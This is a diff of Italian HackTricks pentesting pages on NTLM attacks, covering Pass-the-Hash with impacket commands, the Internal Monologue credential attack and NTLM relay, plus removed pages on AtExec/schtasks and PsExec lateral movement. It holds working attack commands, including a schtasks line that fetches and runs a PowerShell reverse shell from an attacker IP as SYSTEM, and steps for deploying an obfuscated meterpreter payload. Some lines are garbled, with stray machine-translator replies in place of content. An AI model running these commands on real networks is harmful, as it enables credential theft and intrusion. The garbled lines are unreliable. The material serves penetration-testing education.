@ -143,13 +143,13 @@ b4b9b02e6f09a9 # this is part 1
|
||||
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
|
||||
bd760f388b6700 # this is part 2
|
||||
```
|
||||
It seems that you haven't provided the text you want to be translated. Please share the relevant English text, and I'll be happy to translate it to Italian for you.
|
||||
Mi dispiace, ma non hai fornito il testo da tradurre. Per favore, invia il contenuto che desideri tradurre in italiano.
|
||||
```bash
|
||||
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
|
||||
|
||||
586c # this is the last part
|
||||
```
|
||||
I'm sorry, but I need the specific text you would like me to translate in order to assist you. Please provide the content you want translated.
|
||||
Sure, please provide the text you would like me to translate.
|
||||
```bash
|
||||
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
||||
```
|
||||
@ -166,7 +166,7 @@ Se hai un **pcap che ha catturato un processo di autenticazione riuscito**, puoi
|
||||
## Pass-the-Hash
|
||||
|
||||
**Una volta che hai l'hash della vittima**, puoi usarlo per **impersonarla**.\
|
||||
Devi usare un **tool** che eseguirà l'**autenticazione NTLM usando** quell'**hash**, **oppure** potresti creare un nuovo **sessionlogon** e **iniettare** quell'**hash** all'interno del **LSASS**, così quando viene eseguita qualsiasi **autenticazione NTLM**, quell'**hash verrà utilizzato.** L'ultima opzione è ciò che fa mimikatz.
|
||||
Devi usare un **tool** che **eseguirà** l'**autenticazione NTLM usando** quell'**hash**, **oppure** potresti creare un nuovo **sessionlogon** e **iniettare** quell'**hash** all'interno del **LSASS**, così quando viene eseguita qualsiasi **autenticazione NTLM**, quell'**hash verrà utilizzato.** L'ultima opzione è ciò che fa mimikatz.
|
||||
|
||||
**Per favore, ricorda che puoi eseguire attacchi Pass-the-Hash anche usando account di computer.**
|
||||
|
||||
@ -189,7 +189,7 @@ Puoi scaricare [i binari impacket per Windows qui](https://github.com/ropnop/imp
|
||||
|
||||
- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
|
||||
- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
|
||||
- **atexec.exe** (In questo caso devi specificare un comando, cmd.exe e powershell.exe non sono validi per ottenere una shell interattiva)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
|
||||
- **atexec.exe** (In questo caso devi specificare un comando, cmd.exe e powershell.exe non sono validi per ottenere una shell interattiva) `C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
|
||||
- Ci sono diversi altri binari Impacket...
|
||||
|
||||
### Invoke-TheHash
|
||||
@ -238,7 +238,19 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
|
||||
|
||||
**Per ulteriori informazioni su** [**come ottenere credenziali da un host Windows dovresti leggere questa pagina**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.**
|
||||
|
||||
## NTLM Relay e Responder
|
||||
## Attacco Internal Monologue
|
||||
|
||||
L'Attacco Internal Monologue è una tecnica di estrazione delle credenziali furtiva che consente a un attaccante di recuperare gli hash NTLM dalla macchina di una vittima **senza interagire direttamente con il processo LSASS**. A differenza di Mimikatz, che legge gli hash direttamente dalla memoria ed è frequentemente bloccato da soluzioni di sicurezza degli endpoint o Credential Guard, questo attacco sfrutta **chiamate locali al pacchetto di autenticazione NTLM (MSV1_0) tramite l'Interfaccia di Supporto alla Sicurezza (SSPI)**. L'attaccante prima **degrada le impostazioni NTLM** (ad es., LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) per garantire che NetNTLMv1 sia consentito. Poi impersona i token utente esistenti ottenuti da processi in esecuzione e attiva l'autenticazione NTLM localmente per generare risposte NetNTLMv1 utilizzando una sfida nota.
|
||||
|
||||
Dopo aver catturato queste risposte NetNTLMv1, l'attaccante può rapidamente recuperare gli hash NTLM originali utilizzando **tabelle rainbow precompute**, abilitando ulteriori attacchi Pass-the-Hash per il movimento laterale. Fondamentalmente, l'Attacco Internal Monologue rimane furtivo perché non genera traffico di rete, non inietta codice e non attiva dump di memoria diretti, rendendolo più difficile da rilevare per i difensori rispetto ai metodi tradizionali come Mimikatz.
|
||||
|
||||
Se NetNTLMv1 non è accettato— a causa di politiche di sicurezza imposte, l'attaccante potrebbe non riuscire a recuperare una risposta NetNTLMv1.
|
||||
|
||||
Per gestire questo caso, lo strumento Internal Monologue è stato aggiornato: acquisisce dinamicamente un token server utilizzando `AcceptSecurityContext()` per **catturare comunque le risposte NetNTLMv2** se NetNTLMv1 fallisce. Sebbene NetNTLMv2 sia molto più difficile da decifrare, apre comunque un percorso per attacchi di relay o brute-force offline in casi limitati.
|
||||
|
||||
Il PoC può essere trovato in **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**.
|
||||
|
||||
## Relay NTLM e Responder
|
||||
|
||||
**Leggi una guida più dettagliata su come eseguire questi attacchi qui:**
|
||||
|
||||
@ -246,7 +258,7 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
## Analizzare le sfide NTLM da una cattura di rete
|
||||
## Analizza le sfide NTLM da una cattura di rete
|
||||
|
||||
**Puoi usare** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
|
||||
|
||||
|
||||
@ -1,27 +0,0 @@
|
||||
# AtExec / SchtasksExec
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Come funziona
|
||||
|
||||
At consente di pianificare attività su host dove conosci username/(password/Hash). Quindi, puoi usarlo per eseguire comandi su altri host e ottenere l'output.
|
||||
```
|
||||
At \\victim 11:00:00PM shutdown -r
|
||||
```
|
||||
Utilizzando schtasks, è necessario prima creare il compito e poi chiamarlo:
|
||||
```bash
|
||||
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
|
||||
schtasks /run /tn <TASK_NAME> /S <VICTIM>
|
||||
```
|
||||
|
||||
```bash
|
||||
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
|
||||
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
|
||||
```
|
||||
Puoi anche usare [SharpLateral](https://github.com/mertdas/SharpLateral):
|
||||
```bash
|
||||
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
|
||||
```
|
||||
Maggiore informazione sull'[**uso di schtasks con i silver ticket qui**](../active-directory-methodology/silver-ticket.md#host).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -2,6 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Controlla tutte le ottime idee da [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)**
|
||||
dal download di un file microsoft word online alla fonte delle perdite ntlm: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md
|
||||
**Controlla tutte le ottime idee da [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) dal download di un file microsoft word online alla fonte delle perdite ntlm: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md e [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,38 +0,0 @@
|
||||
# PsExec/Winexec/ScExec
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Come funzionano
|
||||
|
||||
Il processo è delineato nei passaggi seguenti, illustrando come i file binari di servizio vengano manipolati per ottenere l'esecuzione remota su una macchina target tramite SMB:
|
||||
|
||||
1. **Copia di un file binario di servizio nella condivisione ADMIN$ tramite SMB** viene eseguita.
|
||||
2. **Creazione di un servizio sulla macchina remota** viene effettuata puntando al file binario.
|
||||
3. Il servizio viene **avviato remotamente**.
|
||||
4. Al termine, il servizio viene **interrotto e il file binario viene eliminato**.
|
||||
|
||||
### **Processo di Esecuzione Manuale di PsExec**
|
||||
|
||||
Assumendo che ci sia un payload eseguibile (creato con msfvenom e offuscato usando Veil per eludere la rilevazione antivirus), chiamato 'met8888.exe', che rappresenta un payload meterpreter reverse_http, vengono eseguiti i seguenti passaggi:
|
||||
|
||||
- **Copia del file binario**: L'eseguibile viene copiato nella condivisione ADMIN$ da un prompt dei comandi, anche se può essere posizionato ovunque nel filesystem per rimanere nascosto.
|
||||
|
||||
- **Creazione di un servizio**: Utilizzando il comando Windows `sc`, che consente di interrogare, creare ed eliminare servizi Windows in remoto, viene creato un servizio chiamato "meterpreter" che punta al file binario caricato.
|
||||
|
||||
- **Avvio del servizio**: L'ultimo passaggio comporta l'avvio del servizio, che probabilmente risulterà in un errore di "timeout" a causa del fatto che il file binario non è un vero file binario di servizio e non riesce a restituire il codice di risposta atteso. Questo errore è irrilevante poiché l'obiettivo principale è l'esecuzione del file binario.
|
||||
|
||||
L'osservazione del listener di Metasploit rivelerà che la sessione è stata avviata con successo.
|
||||
|
||||
[Scopri di più sul comando `sc`](https://technet.microsoft.com/en-us/library/bb490995.aspx).
|
||||
|
||||
Trova passaggi più dettagliati in: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
**Puoi anche utilizzare il file binario PsExec.exe di Windows Sysinternals:**
|
||||
|
||||
.png>)
|
||||
|
||||
Puoi anche utilizzare [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
||||
```
|
||||
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user